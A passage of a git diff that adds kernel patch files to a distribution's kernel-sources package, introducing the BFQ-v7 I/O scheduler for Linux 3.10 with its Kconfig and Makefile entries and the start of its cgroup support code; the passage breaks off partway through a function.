+@@ -39,6 +39,27 @@ config CFQ_GROUP_IOSCHED
+ 	---help---
+ 	  Enable group IO scheduling in CFQ.
+ 
++config IOSCHED_BFQ
++	tristate "BFQ I/O scheduler"
++	default n
++	---help---
++	  The BFQ I/O scheduler tries to distribute bandwidth among
++	  all processes according to their weights.
++	  It aims at distributing the bandwidth as desired, independently of
++	  the disk parameters and with any workload. It also tries to
++	  guarantee low latency to interactive and soft real-time
++	  applications.  If compiled built-in (saying Y here), BFQ can
++	  be configured to support hierarchical scheduling.
++
++config CGROUP_BFQIO
++	bool "BFQ hierarchical scheduling support"
++	depends on CGROUPS && IOSCHED_BFQ=y
++	default n
++	---help---
++	  Enable hierarchical scheduling in BFQ, using the cgroups
++	  filesystem interface.  The name of the subsystem will be
++	  bfqio.
++
+ choice
+ 	prompt "Default I/O scheduler"
+ 	default DEFAULT_CFQ
+@@ -52,6 +73,16 @@ choice
+ 	config DEFAULT_CFQ
+ 		bool "CFQ" if IOSCHED_CFQ=y
+ 
++	config DEFAULT_BFQ
++		bool "BFQ" if IOSCHED_BFQ=y
++		help
++		  Selects BFQ as the default I/O scheduler which will be
++		  used by default for all block devices.
++		  The BFQ I/O scheduler aims at distributing the bandwidth
++		  as desired, independently of the disk parameters and with
++		  any workload. It also tries to guarantee low latency to
++		  interactive and soft real-time applications.
++
+ 	config DEFAULT_NOOP
+ 		bool "No-op"
+ 
+@@ -61,6 +92,7 @@ config DEFAULT_IOSCHED
+ 	string
+ 	default "deadline" if DEFAULT_DEADLINE
+ 	default "cfq" if DEFAULT_CFQ
++	default "bfq" if DEFAULT_BFQ
+ 	default "noop" if DEFAULT_NOOP
+ 
+ endmenu
+diff --git a/block/Makefile b/block/Makefile
+index 39b76ba..c0d20fa 100644
+--- a/block/Makefile
++++ b/block/Makefile
+@@ -15,6 +15,7 @@ obj-$(CONFIG_BLK_DEV_THROTTLING)	+= blk-throttle.o
+ obj-$(CONFIG_IOSCHED_NOOP)	+= noop-iosched.o
+ obj-$(CONFIG_IOSCHED_DEADLINE)	+= deadline-iosched.o
+ obj-$(CONFIG_IOSCHED_CFQ)	+= cfq-iosched.o
++obj-$(CONFIG_IOSCHED_BFQ)	+= bfq-iosched.o
+ 
+ obj-$(CONFIG_BLOCK_COMPAT)	+= compat_ioctl.o
+ obj-$(CONFIG_BLK_DEV_INTEGRITY)	+= blk-integrity.o
+diff --git a/include/linux/cgroup_subsys.h b/include/linux/cgroup_subsys.h
+index 6e7ec64..e5e6b0d 100644
+--- a/include/linux/cgroup_subsys.h
++++ b/include/linux/cgroup_subsys.h
+@@ -84,3 +84,9 @@ SUBSYS(bcache)
+ #endif
+ 
+ /* */
++
++#if IS_SUBSYS_ENABLED(CONFIG_CGROUP_BFQIO)
++SUBSYS(bfqio)
++#endif
++
++/* */
+-- 
+1.8.5.2
+
diff --git a/sys-kernel/kogaion-sources/files/desktop/0002-block-introduce-the-BFQ-v7-I-O-sched-for-3.10.patch b/sys-kernel/kogaion-sources/files/desktop/0002-block-introduce-the-BFQ-v7-I-O-sched-for-3.10.patch
new file mode 100644
index 00000000..0a2c5079
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/0002-block-introduce-the-BFQ-v7-I-O-sched-for-3.10.patch
@@ -0,0 +1,5969 @@
+From d40506359ff7f890adac4bd75541de73044a121e Mon Sep 17 00:00:00 2001
+From: Paolo Valente <paolo.valente@unimore.it>
+Date: Thu, 9 May 2013 19:10:02 +0200
+Subject: [PATCH 2/3] block: introduce the BFQ-v7 I/O sched for 3.10
+
+Add the BFQ-v7 I/O scheduler to 3.10.
+The general structure is borrowed from CFQ, as much of the code for
+handling I/O contexts Over time, several useful features have been
+ported from CFQ as well (details in the changelog in README.BFQ). A
+(bfq_)queue is associated to each task doing I/O on a device, and each
+time a scheduling decision has to be made a queue is selected and served
+until it expires.
+
+    - Slices are given in the service domain: tasks are assigned
+      budgets, measured in number of sectors. Once got the disk, a task
+      must however consume its assigned budget within a configurable
+      maximum time (by default, the maximum possible value of the
+      budgets is automatically computed to comply with this timeout).
+      This allows the desired latency vs "throughput boosting" tradeoff
+      to be set.
+
+    - Budgets are scheduled according to a variant of WF2Q+, implemented
+      using an augmented rb-tree to take eligibility into account while
+      preserving an O(log N) overall complexity.
+
+    - A low-latency tunable is provided; if enabled, both interactive
+      and soft real-time applications are guaranteed a very low latency.
+
+    - Latency guarantees are preserved also in the presence of NCQ.
+
+    - Also with flash-based devices, a high throughput is achieved
+      while still preserving latency guarantees.
+
+    - BFQ features Early Queue Merge (EQM), a sort of fusion of the
+      cooperating-queue-merging and the preemption mechanisms present
+      in CFQ. EQM is in fact a unified mechanism that tries to get a
+      sequential read pattern, and hence a high throughput, with any
+      set of processes performing interleaved I/O over a contiguous
+      sequence of sectors.
+
+    - BFQ supports full hierarchical scheduling, exporting a cgroups
+      interface.  Since each node has a full scheduler, each group can
+      be assigned its own weight.
+
+    - If the cgroups interface is not used, only I/O priorities can be
+      assigned to processes, with ioprio values mapped to weights
+      with the relation weight = IOPRIO_BE_NR - ioprio.
+
+    - ioprio classes are served in strict priority order, i.e., lower
+      priority queues are not served as long as there are higher
+      priority queues.  Among queues in the same class the bandwidth is
+      distributed in proportion to the weight of each queue. A very
+      thin extra bandwidth is however guaranteed to the Idle class, to
+      prevent it from starving.
+
+Signed-off-by: Paolo Valente <paolo.valente@unimore.it>
+Signed-off-by: Arianna Avanzini <avanzini.arianna@gmail.com>
+---
+ block/bfq-cgroup.c  |  885 ++++++++++++++
+ block/bfq-ioc.c     |   36 +
+ block/bfq-iosched.c | 3256 +++++++++++++++++++++++++++++++++++++++++++++++++++
+ block/bfq-sched.c   | 1077 +++++++++++++++++
+ block/bfq.h         |  612 ++++++++++
+ 5 files changed, 5866 insertions(+)
+ create mode 100644 block/bfq-cgroup.c
+ create mode 100644 block/bfq-ioc.c
+ create mode 100644 block/bfq-iosched.c
+ create mode 100644 block/bfq-sched.c
+ create mode 100644 block/bfq.h
+
+diff --git a/block/bfq-cgroup.c b/block/bfq-cgroup.c
+new file mode 100644
+index 0000000..5a117ad
+--- /dev/null
++++ b/block/bfq-cgroup.c
+@@ -0,0 +1,885 @@
++/*
++ * BFQ: CGROUPS support.
++ *
++ * Based on ideas and code from CFQ:
++ * Copyright (C) 2003 Jens Axboe <axboe@kernel.dk>
++ *
++ * Copyright (C) 2008 Fabio Checconi <fabio@gandalf.sssup.it>
++ *		      Paolo Valente <paolo.valente@unimore.it>
++ *
++ * Copyright (C) 2010 Paolo Valente <paolo.valente@unimore.it>
++ *
++ * Licensed under the GPL-2 as detailed in the accompanying COPYING.BFQ file.
++ */
++
++#ifdef CONFIG_CGROUP_BFQIO
++
++static DEFINE_MUTEX(bfqio_mutex);
++
++static bool bfqio_is_removed(struct cgroup *cgroup)
++{
++	return test_bit(CGRP_REMOVED, &cgroup->flags);
++}
++
++static struct bfqio_cgroup bfqio_root_cgroup = {
++	.weight = BFQ_DEFAULT_GRP_WEIGHT,
++	.ioprio = BFQ_DEFAULT_GRP_IOPRIO,
++	.ioprio_class = BFQ_DEFAULT_GRP_CLASS,
++};
++
++static inline void bfq_init_entity(struct bfq_entity *entity,
++				   struct bfq_group *bfqg)
++{
++	entity->weight = entity->new_weight;
++	entity->orig_weight = entity->new_weight;
++	entity->ioprio = entity->new_ioprio;
++	entity->ioprio_class = entity->new_ioprio_class;
++	entity->parent = bfqg->my_entity;
++	entity->sched_data = &bfqg->sched_data;
++}
++
++static struct bfqio_cgroup *cgroup_to_bfqio(struct cgroup *cgroup)
++{
++	return container_of(cgroup_subsys_state(cgroup, bfqio_subsys_id),
++			    struct bfqio_cgroup, css);
++}
++
++/*
++ * Search the bfq_group for bfqd into the hash table (by now only a list)
++ * of bgrp.  Must be called under rcu_read_lock().
++ */
++static struct bfq_group *bfqio_lookup_group(struct bfqio_cgroup *bgrp,
++					    struct bfq_data *bfqd)
++{
++	struct bfq_group *bfqg;
++	void *key;
++
++	hlist_for_each_entry_rcu(bfqg, &bgrp->group_data, group_node) {
++		key = rcu_dereference(bfqg->bfqd);
++		if (key == bfqd)
++			return bfqg;
++	}
++
++	return NULL;
++}
++
++static inline void bfq_group_init_entity(struct bfqio_cgroup *bgrp,
++					 struct bfq_group *bfqg)
++{
++	struct bfq_entity *entity = &bfqg->entity;
++
++	/*
++	 * If the weight of the entity has never been set via the sysfs
++	 * interface, then bgrp->weight == 0. In this case we initialize
++	 * the weight from the current ioprio value. Otherwise, the group
++	 * weight, if set, has priority over the ioprio value.
++	 */
++	if (bgrp->weight == 0) {
++		entity->new_weight = bfq_ioprio_to_weight(bgrp->ioprio);
++		entity->new_ioprio = bgrp->ioprio;
++	} else {
++		entity->new_weight = bgrp->weight;
++		entity->new_ioprio = bfq_weight_to_ioprio(bgrp->weight);
++	}
++	entity->orig_weight = entity->weight = entity->new_weight;
++	entity->ioprio = entity->new_ioprio;
++	entity->ioprio_class = entity->new_ioprio_class = bgrp->ioprio_class;
++	entity->my_sched_data = &bfqg->sched_data;
++}
++
++static inline void bfq_group_set_parent(struct bfq_group *bfqg,
++					struct bfq_group *parent)
++{
++	struct bfq_entity *entity;
++
++	BUG_ON(parent == NULL);
++	BUG_ON(bfqg == NULL);
++
++	entity = &bfqg->entity;
++	entity->parent = parent->my_entity;
++	entity->sched_data = &parent->sched_data;
++}
++
++/**
++ * bfq_group_chain_alloc - allocate a chain of groups.
++ * @bfqd: queue descriptor.
++ * @cgroup: the leaf cgroup this chain starts from.
++ *
++ * Allocate a chain of groups starting from the one belonging to
++ * @cgroup up to the root cgroup.  Stop if a cgroup on the chain
++ * to the root has already an allocated group on @bfqd.
++ */
++static struct bfq_group *bfq_group_chain_alloc(struct bfq_data *bfqd,
++					       struct cgroup *cgroup)
++{
++	struct bfqio_cgroup *bgrp;
++	struct bfq_group *bfqg, *prev = NULL, *leaf = NULL;
++
++	for (; cgroup != NULL; cgroup = cgroup->parent) {
++		bgrp = cgroup_to_bfqio(cgroup);
++
++		bfqg = bfqio_lookup_group(bgrp, bfqd);
++		if (bfqg != NULL) {
++			/*
++			 * All the cgroups in the path from there to the
++			 * root must have a bfq_group for bfqd, so we don't
++			 * need any more allocations.
++			 */
++			break;
++		}
++
++		bfqg = kzalloc(sizeof(*bfqg), GFP_ATOMIC);
++		if (bfqg == NULL)
++			goto cleanup;
++
++		bfq_group_init_entity(bgrp, bfqg);
++		bfqg->my_entity = &bfqg->entity;
++
++		if (leaf == NULL) {
++			leaf = bfqg;
++			prev = leaf;
++		} else {
++			bfq_group_set_parent(prev, bfqg);
++			/*
++			 * Build a list of allocated nodes using the bfqd
++			 * filed, that is still unused and will be initialized
++			 * only after the node will be connected.
++			 */
++			prev->bfqd = bfqg;
++			prev = bfqg;
++		}
++	}
++
++	return leaf;
++
++cleanup:
++	while (leaf != NULL) {
++		prev = leaf;
++		leaf = leaf->bfqd;
++		kfree(prev);
++	}
++
++	return NULL;
++}
++
++/**
++ * bfq_group_chain_link - link an allocatd group chain to a cgroup hierarchy.
++ * @bfqd: the queue descriptor.
++ * @cgroup: the leaf cgroup to start from.
++ * @leaf: the leaf group (to be associated to @cgroup).
++ *
++ * Try to link a chain of groups to a cgroup hierarchy, connecting the
++ * nodes bottom-up, so we can be sure that when we find a cgroup in the
++ * hierarchy that already as a group associated to @bfqd all the nodes
++ * in the path to the root cgroup have one too.
++ *
++ * On locking: the queue lock protects the hierarchy (there is a hierarchy
++ * per device) while the bfqio_cgroup lock protects the list of groups
++ * belonging to the same cgroup.
++ */
++static void bfq_group_chain_link(struct bfq_data *bfqd, struct cgroup *cgroup,
++				 struct bfq_group *leaf)
++{
++	struct bfqio_cgroup *bgrp;
++	struct bfq_group *bfqg, *next, *prev = NULL;
++	unsigned long flags;
++
++	assert_spin_locked(bfqd->queue->queue_lock);
++
++	for (; cgroup != NULL && leaf != NULL; cgroup = cgroup->parent) {
++		bgrp = cgroup_to_bfqio(cgroup);
++		next = leaf->bfqd;
++
++		bfqg = bfqio_lookup_group(bgrp, bfqd);
++		BUG_ON(bfqg != NULL);
++
++		spin_lock_irqsave(&bgrp->lock, flags);
++
++		rcu_assign_pointer(leaf->bfqd, bfqd);
++		hlist_add_head_rcu(&leaf->group_node, &bgrp->group_data);
++		hlist_add_head(&leaf->bfqd_node, &bfqd->group_list);
++
++		spin_unlock_irqrestore(&bgrp->lock, flags);
++
++		prev = leaf;
++		leaf = next;
++	}
++
++	BUG_ON(cgroup == NULL && leaf != NULL);
++	if (cgroup != NULL && prev != NULL) {
++		bgrp = cgroup_to_bfqio(cgroup);
++		bfqg = bfqio_lookup_group(bgrp, bfqd);
++		bfq_group_set_parent(prev, bfqg);
++	}
++}
++
++/**
++ * bfq_find_alloc_group - return the group associated to @bfqd in @cgroup.
++ * @bfqd: queue descriptor.
++ * @cgroup: cgroup being searched for.
++ *
++ * Return a group associated to @bfqd in @cgroup, allocating one if
++ * necessary.  When a group is returned all the cgroups in the path
++ * to the root have a group associated to @bfqd.
++ *
++ * If the allocation fails, return the root group: this breaks guarantees
++ * but is a safe fallbak.  If this loss becames a problem it can be
++ * mitigated using the equivalent weight (given by the product of the
++ * weights of the groups in the path from @group to the root) in the
++ * root scheduler.
++ *
++ * We allocate all the missing nodes in the path from the leaf cgroup
++ * to the root and we connect the nodes only after all the allocations
++ * have been successful.
++ */
++static struct bfq_group *bfq_find_alloc_group(struct bfq_data *bfqd,
++					      struct cgroup *cgroup)
++{
++	struct bfqio_cgroup *bgrp = cgroup_to_bfqio(cgroup);
++	struct bfq_group *bfqg;
++
++	bfqg = bfqio_lookup_group(bgrp, bfqd);
++	if (bfqg != NULL)
++		return bfqg;
++
++	bfqg = bfq_group_chain_alloc(bfqd, cgroup);
++	if (bfqg != NULL)
++		bfq_group_chain_link(bfqd, cgroup, bfqg);
++	else
++		bfqg = bfqd->root_group;
++
++	return bfqg;
++}
++
++/**
++ * bfq_bfqq_move - migrate @bfqq to @bfqg.
++ * @bfqd: queue descriptor.
++ * @bfqq: the queue to move.
++ * @entity: @bfqq's entity.
++ * @bfqg: the group to move to.
++ *
++ * Move @bfqq to @bfqg, deactivating it from its old group and reactivating
++ * it on the new one.  Avoid putting the entity on the old group idle tree.
++ *
++ * Must be called under the queue lock; the cgroup owning @bfqg must
++ * not disappear (by now this just means that we are called under
++ * rcu_read_lock()).
++ */
++static void bfq_bfqq_move(struct bfq_data *bfqd, struct bfq_queue *bfqq,
++			  struct bfq_entity *entity, struct bfq_group *bfqg)
++{
++	int busy, resume;
++
++	busy = bfq_bfqq_busy(bfqq);
++	resume = !RB_EMPTY_ROOT(&bfqq->sort_list);
++
++	BUG_ON(resume && !entity->on_st);
++	BUG_ON(busy && !resume && entity->on_st &&
++	       bfqq != bfqd->in_service_queue);
++
++	if (busy) {
++		BUG_ON(atomic_read(&bfqq->ref) < 2);
++
++		if (!resume)
++			bfq_del_bfqq_busy(bfqd, bfqq, 0);
++		else
++			bfq_deactivate_bfqq(bfqd, bfqq, 0);
++	} else if (entity->on_st)
++		bfq_put_idle_entity(bfq_entity_service_tree(entity), entity);
++
++	/*
++	 * Here we use a reference to bfqg.  We don't need a refcounter
++	 * as the cgroup reference will not be dropped, so that its
++	 * destroy() callback will not be invoked.
++	 */
++	entity->parent = bfqg->my_entity;
++	entity->sched_data = &bfqg->sched_data;
++
++	if (busy && resume)
++		bfq_activate_bfqq(bfqd, bfqq);
++
++	if (bfqd->in_service_queue == NULL && !bfqd->rq_in_driver)
++		bfq_schedule_dispatch(bfqd);
++}
++
++/**
++ * __bfq_bic_change_cgroup - move @bic to @cgroup.
++ * @bfqd: the queue descriptor.
++ * @bic: the bic to move.
++ * @cgroup: the cgroup to move to.
++ *
++ * Move bic to cgroup, assuming that bfqd->queue is locked; the caller
++ * has to make sure that the reference to cgroup is valid across the call.
++ *
++ * NOTE: an alternative approach might have been to store the current
++ * cgroup in bfqq and getting a reference to it, reducing the lookup
++ * time here, at the price of slightly more complex code.
++ */
++static struct bfq_group *__bfq_bic_change_cgroup(struct bfq_data *bfqd,
++						 struct bfq_io_cq *bic,
++						 struct cgroup *cgroup)
++{
++	struct bfq_queue *async_bfqq = bic_to_bfqq(bic, 0);
++	struct bfq_queue *sync_bfqq = bic_to_bfqq(bic, 1);
++	struct bfq_entity *entity;
++	struct bfq_group *bfqg;
++	struct bfqio_cgroup *bgrp;
++
++	bgrp = cgroup_to_bfqio(cgroup);
++
++	bfqg = bfq_find_alloc_group(bfqd, cgroup);
++	if (async_bfqq != NULL) {
++		entity = &async_bfqq->entity;
++
++		if (entity->sched_data != &bfqg->sched_data) {
++			bic_set_bfqq(bic, NULL, 0);
++			bfq_log_bfqq(bfqd, async_bfqq,
++				     "bic_change_group: %p %d",
++				     async_bfqq, atomic_read(&async_bfqq->ref));
++			bfq_put_queue(async_bfqq);
++		}
++	}
++
++	if (sync_bfqq != NULL) {
++		entity = &sync_bfqq->entity;
++		if (entity->sched_data != &bfqg->sched_data)
++			bfq_bfqq_move(bfqd, sync_bfqq, entity, bfqg);
++	}
++
++	return bfqg;
++}
++
++/**
++ * bfq_bic_change_cgroup - move @bic to @cgroup.
++ * @bic: the bic being migrated.
++ * @cgroup: the destination cgroup.
++ *
++ * When the task owning @bic is moved to @cgroup, @bic is immediately
++ * moved into its new parent group.
++ */
++static void bfq_bic_change_cgroup(struct bfq_io_cq *bic,
++				  struct cgroup *cgroup)
++{
++	struct bfq_data *bfqd;
++	unsigned long uninitialized_var(flags);
++
++	bfqd = bfq_get_bfqd_locked(&(bic->icq.q->elevator->elevator_data),
++				   &flags);
++	if (bfqd != NULL) {
++		__bfq_bic_change_cgroup(bfqd, bic, cgroup);
++		bfq_put_bfqd_unlock(bfqd, &flags);
++	}
++}
++
++/**
++ * bfq_bic_update_cgroup - update the cgroup of @bic.
++ * @bic: the @bic to update.
++ *
++ * Make sure that @bic is enqueued in the cgroup of the current task.
++ * We need this in addition to moving bics during the cgroup attach
++ * phase because the task owning @bic could be at its first disk
++ * access or we may end up in the root cgroup as the result of a
++ * memory allocation failure and here we try to move to the right
++ * group.
++ *
++ * Must be called under the queue lock.  It is safe to use the returned
++ * value even after the rcu_read_unlock() as the migration/destruction
++ * paths act under the queue lock too.  IOW it is impossible to race with
++ * group migration/destruction and end up with an invalid group as:
++ *   a) here cgroup has not yet been destroyed, nor its destroy callback
++ *      has started execution, as current holds a reference to it,
++ *   b) if it is destroyed after rcu_read_unlock() [after current is
++ *      migrated to a different cgroup] its attach() callback will have
++ *      taken care of remove all the references to the old cgroup data.
++ */
++static struct bfq_group *bfq_bic_update_cgroup(struct bfq_io_cq *bic)
++{
++	struct bfq_data *bfqd = bic_to_bfqd(bic);
++	struct bfq_group *bfqg;
++	struct cgroup *cgroup;
++
++	BUG_ON(bfqd == NULL);
++
++	rcu_read_lock();
++	cgroup = task_cgroup(current, bfqio_subsys_id);
++	bfqg = __bfq_bic_change_cgroup(bfqd, bic, cgroup);
++	rcu_read_unlock();
++
++	return bfqg;
++}
++
++/**
++ * bfq_flush_idle_tree - deactivate any entity on the idle tree of @st.
++ * @st: the service tree being flushed.
++ */
++static inline void bfq_flush_idle_tree(struct bfq_service_tree *st)
++{
++	struct bfq_entity *entity = st->first_idle;
++
++	for (; entity != NULL; entity = st->first_idle)
++		__bfq_deactivate_entity(entity, 0);
++}
++
++/**
++ * bfq_reparent_leaf_entity - move leaf entity to the root_group.
++ * @bfqd: the device data structure with the root group.
++ * @entity: the entity to move.
++ */
++static inline void bfq_reparent_leaf_entity(struct bfq_data *bfqd,
++					    struct bfq_entity *entity)
++{
++	struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++
++	BUG_ON(bfqq == NULL);
++	bfq_bfqq_move(bfqd, bfqq, entity, bfqd->root_group);
++	return;
++}
++
++/**
++ * bfq_reparent_active_entities - move to the root group all active entities.
++ * @bfqd: the device data structure with the root group.
++ * @bfqg: the group to move from.
++ * @st: the service tree with the entities.
++ *
++ * Needs queue_lock to be taken and reference to be valid over the call.
++ */
++static inline void bfq_reparent_active_entities(struct bfq_data *bfqd,
++						struct bfq_group *bfqg,
++						struct bfq_service_tree *st)
++{
++	struct rb_root *active = &st->active;
++	struct bfq_entity *entity = NULL;
++
++	if (!RB_EMPTY_ROOT(&st->active))
++		entity = bfq_entity_of(rb_first(active));
++
++	for (; entity != NULL; entity = bfq_entity_of(rb_first(active)))
++		bfq_reparent_leaf_entity(bfqd, entity);
++
++	if (bfqg->sched_data.active_entity != NULL)
++		bfq_reparent_leaf_entity(bfqd, bfqg->sched_data.active_entity);
++
++	return;
++}
++
++/**
++ * bfq_destroy_group - destroy @bfqg.
++ * @bgrp: the bfqio_cgroup containing @bfqg.
++ * @bfqg: the group being destroyed.
++ *
++ * Destroy @bfqg, making sure that it is not referenced from its parent.
++ */
++static void bfq_destroy_group(struct bfqio_cgroup *bgrp, struct bfq_group *bfqg)
++{
++	struct bfq_data *bfqd;
++	struct bfq_service_tree *st;
++	struct bfq_entity *entity = bfqg->my_entity;
++	unsigned long uninitialized_var(flags);
++	int i;
++
++	hlist_del(&bfqg->group_node);
++
++	/*
++	 * Empty all service_trees belonging to this group before deactivating
++	 * the group itself.
++	 */
++	for (i = 0; i < BFQ_IOPRIO_CLASSES; i++) {
++		st = bfqg->sched_data.service_tree + i;
++
++		/*
++		 * The idle tree may still contain bfq_queues belonging
++		 * to exited task because they never migrated to a different
++		 * cgroup from the one being destroyed now.  Noone else
++		 * can access them so it's safe to act without any lock.
++		 */
++		bfq_flush_idle_tree(st);
++
++		/*
++		 * It may happen that some queues are still active
++		 * (busy) upon group destruction (if the corresponding
++		 * processes have been forced to terminate). We move
++		 * all the leaf entities corresponding to these queues
++		 * to the root_group.
++		 * Also, it may happen that the group has an entity
++		 * under service, which is disconnected from the active
++		 * tree: it must be moved, too.
++		 * There is no need to put the sync queues, as the
++		 * scheduler has taken no reference.
++		 */
++		bfqd = bfq_get_bfqd_locked(&bfqg->bfqd, &flags);
++		if (bfqd != NULL) {
++			bfq_reparent_active_entities(bfqd, bfqg, st);
++			bfq_put_bfqd_unlock(bfqd, &flags);
++		}
++		BUG_ON(!RB_EMPTY_ROOT(&st->active));
++		BUG_ON(!RB_EMPTY_ROOT(&st->idle));
++	}
++	BUG_ON(bfqg->sched_data.next_active != NULL);
++	BUG_ON(bfqg->sched_data.active_entity != NULL);
++
++	/*
++	 * We may race with device destruction, take extra care when
++	 * dereferencing bfqg->bfqd.
++	 */
++	bfqd = bfq_get_bfqd_locked(&bfqg->bfqd, &flags);
++	if (bfqd != NULL) {
++		hlist_del(&bfqg->bfqd_node);
++		__bfq_deactivate_entity(entity, 0);
++		bfq_put_async_queues(bfqd, bfqg);
++		bfq_put_bfqd_unlock(bfqd, &flags);
++	}
++	BUG_ON(entity->tree != NULL);
++
++	/*
++	 * No need to defer the kfree() to the end of the RCU grace
++	 * period: we are called from the destroy() callback of our
++	 * cgroup, so we can be sure that noone is a) still using
++	 * this cgroup or b) doing lookups in it.
++	 */
++	kfree(bfqg);
++}
++
++static void bfq_end_raising_async(struct bfq_data *bfqd)
++{
++	struct hlist_node *tmp;
++	struct bfq_group *bfqg;
++
++	hlist_for_each_entry_safe(bfqg, tmp, &bfqd->group_list, bfqd_node)
++		bfq_end_raising_async_queues(bfqd, bfqg);
++	bfq_end_raising_async_queues(bfqd, bfqd->root_group);
++}
++
++/**
++ * bfq_disconnect_groups - diconnect @bfqd from all its groups.
++ * @bfqd: the device descriptor being exited.
++ *
++ * When the device exits we just make sure that no lookup can return
++ * the now unused group structures.  They will be deallocated on cgroup
++ * destruction.
++ */
++static void bfq_disconnect_groups(struct bfq_data *bfqd)
++{
++	struct hlist_node *tmp;
++	struct bfq_group *bfqg;
++
++	bfq_log(bfqd, "disconnect_groups beginning");
++	hlist_for_each_entry_safe(bfqg, tmp, &bfqd->group_list, bfqd_node) {
++		hlist_del(&bfqg->bfqd_node);
++
++		__bfq_deactivate_entity(bfqg->my_entity, 0);
++
++		/*
++		 * Don't remove from the group hash, just set an
++		 * invalid key.  No lookups can race with the
++		 * assignment as bfqd is being destroyed; this
++		 * implies also that new elements cannot be added
++		 * to the list.
++		 */
++		rcu_assign_pointer(bfqg->bfqd, NULL);
++
++		bfq_log(bfqd, "disconnect_groups: put async for group %p",
++			bfqg);
++		bfq_put_async_queues(bfqd, bfqg);
++	}
++}
++
++static inline void bfq_free_root_group(struct bfq_data *bfqd)
++{
++	struct bfqio_cgroup *bgrp = &bfqio_root_cgroup;
++	struct bfq_group *bfqg = bfqd->root_group;
++
++	bfq_put_async_queues(bfqd, bfqg);
++
++	spin_lock_irq(&bgrp->lock);
++	hlist_del_rcu(&bfqg->group_node);
++	spin_unlock_irq(&bgrp->lock);
++
++	/*
++	 * No need to synchronize_rcu() here: since the device is gone
++	 * there cannot be any read-side access to its root_group.
++	 */
++	kfree(bfqg);
++}
++
++static struct bfq_group *bfq_alloc_root_group(struct bfq_data *bfqd, int node)
++{
++	struct bfq_group *bfqg;
++	struct bfqio_cgroup *bgrp;
++	int i;
++
++	bfqg = kzalloc_node(sizeof(*bfqg), GFP_KERNEL, node);
++	if (bfqg == NULL)
++		return NULL;
++
++	bfqg->entity.parent = NULL;
++	for (i = 0; i < BFQ_IOPRIO_CLASSES; i++)
++		bfqg->sched_data.service_tree[i] = BFQ_SERVICE_TREE_INIT;
++
++	bgrp = &bfqio_root_cgroup;
++	spin_lock_irq(&bgrp->lock);
++	rcu_assign_pointer(bfqg->bfqd, bfqd);
++	hlist_add_head_rcu(&bfqg->group_node, &bgrp->group_data);
++	spin_unlock_irq(&bgrp->lock);
++
++	return bfqg;
++}
++
++#define SHOW_FUNCTION(__VAR)						\
++static u64 bfqio_cgroup_##__VAR##_read(struct cgroup *cgroup,		\
++				       struct cftype *cftype)		\
++{									\
++	struct bfqio_cgroup *bgrp;					\
++	u64 ret = -ENODEV;						\
++									\
++	mutex_lock(&bfqio_mutex);					\
++	if (bfqio_is_removed(cgroup))					\
++		goto out_unlock;					\
++									\
++	bgrp = cgroup_to_bfqio(cgroup);					\
++	spin_lock_irq(&bgrp->lock);					\
++	ret = bgrp->__VAR;						\
++	spin_unlock_irq(&bgrp->lock);					\
++									\
++out_unlock:								\
++	mutex_unlock(&bfqio_mutex);					\
++	return ret;							\
++}
++
++SHOW_FUNCTION(weight);
++SHOW_FUNCTION(ioprio);
++SHOW_FUNCTION(ioprio_class);
++#undef SHOW_FUNCTION
++
++#define STORE_FUNCTION(__VAR, __MIN, __MAX)				\
++static int bfqio_cgroup_##__VAR##_write(struct cgroup *cgroup,		\
++					struct cftype *cftype,		\
++					u64 val)			\
++{									\
++	struct bfqio_cgroup *bgrp;					\
++	struct bfq_group *bfqg;						\
++	int ret = -EINVAL;						\
++									\
++	if (val < (__MIN) || val > (__MAX))				\
++		return ret;						\
++									\
++	ret = -ENODEV;							\
++	mutex_lock(&bfqio_mutex);					\
++	if (bfqio_is_removed(cgroup))					\
++		goto out_unlock;					\
++	ret = 0;							\
++									\
++	bgrp = cgroup_to_bfqio(cgroup);					\
++									\
++	spin_lock_irq(&bgrp->lock);					\
++	bgrp->__VAR = (unsigned short)val;				\
++	hlist_for_each_entry(bfqg, &bgrp->group_data, group_node) {	\
++		/*							\
++		 * Setting the ioprio_changed flag of the entity        \
++		 * to 1 with new_##__VAR == ##__VAR would re-set        \
++		 * the value of the weight to its ioprio mapping.       \
++		 * Set the flag only if necessary.                      \
++		 */                                                     \
++		if ((unsigned short)val != bfqg->entity.new_##__VAR) {  \
++			bfqg->entity.new_##__VAR = (unsigned short)val; \
++			smp_wmb();                                      \
++			bfqg->entity.ioprio_changed = 1;                \
++		}							\
++	}								\
++	spin_unlock_irq(&bgrp->lock);					\
++									\
++out_unlock:								\
++	mutex_unlock(&bfqio_mutex);					\
++	return ret;							\
++}
++
++STORE_FUNCTION(weight, BFQ_MIN_WEIGHT, BFQ_MAX_WEIGHT);
++STORE_FUNCTION(ioprio, 0, IOPRIO_BE_NR - 1);
++STORE_FUNCTION(ioprio_class, IOPRIO_CLASS_RT, IOPRIO_CLASS_IDLE);
++#undef STORE_FUNCTION
++
++static struct cftype bfqio_files[] = {
++	{
++		.name = "weight",
++		.read_u64 = bfqio_cgroup_weight_read,
++		.write_u64 = bfqio_cgroup_weight_write,
++	},
++	{
++		.name = "ioprio",
++		.read_u64 = bfqio_cgroup_ioprio_read,
++		.write_u64 = bfqio_cgroup_ioprio_write,
++	},
++	{
++		.name = "ioprio_class",
++		.read_u64 = bfqio_cgroup_ioprio_class_read,
++		.write_u64 = bfqio_cgroup_ioprio_class_write,
++	},
++	{ },	/* terminate */
++};
++
++static struct cgroup_subsys_state *bfqio_create(struct cgroup *cgroup)
++{
++	struct bfqio_cgroup *bgrp;
++
++	if (cgroup->parent != NULL) {
++		bgrp = kzalloc(sizeof(*bgrp), GFP_KERNEL);
++		if (bgrp == NULL)
++			return ERR_PTR(-ENOMEM);
++	} else
++		bgrp = &bfqio_root_cgroup;
++
++	spin_lock_init(&bgrp->lock);
++	INIT_HLIST_HEAD(&bgrp->group_data);
++	bgrp->ioprio = BFQ_DEFAULT_GRP_IOPRIO;
++	bgrp->ioprio_class = BFQ_DEFAULT_GRP_CLASS;
++
++	return &bgrp->css;
++}
++
++/*
++ * We cannot support shared io contexts, as we have no means to support
++ * two tasks with the same ioc in two different groups without major rework
++ * of the main bic/bfqq data structures.  By now we allow a task to change
++ * its cgroup only if it's the only owner of its ioc; the drawback of this
++ * behavior is that a group containing a task that forked using CLONE_IO
++ * will not be destroyed until the tasks sharing the ioc die.
++ */
++static int bfqio_can_attach(struct cgroup *cgroup, struct cgroup_taskset *tset)
++{
++	struct task_struct *task;
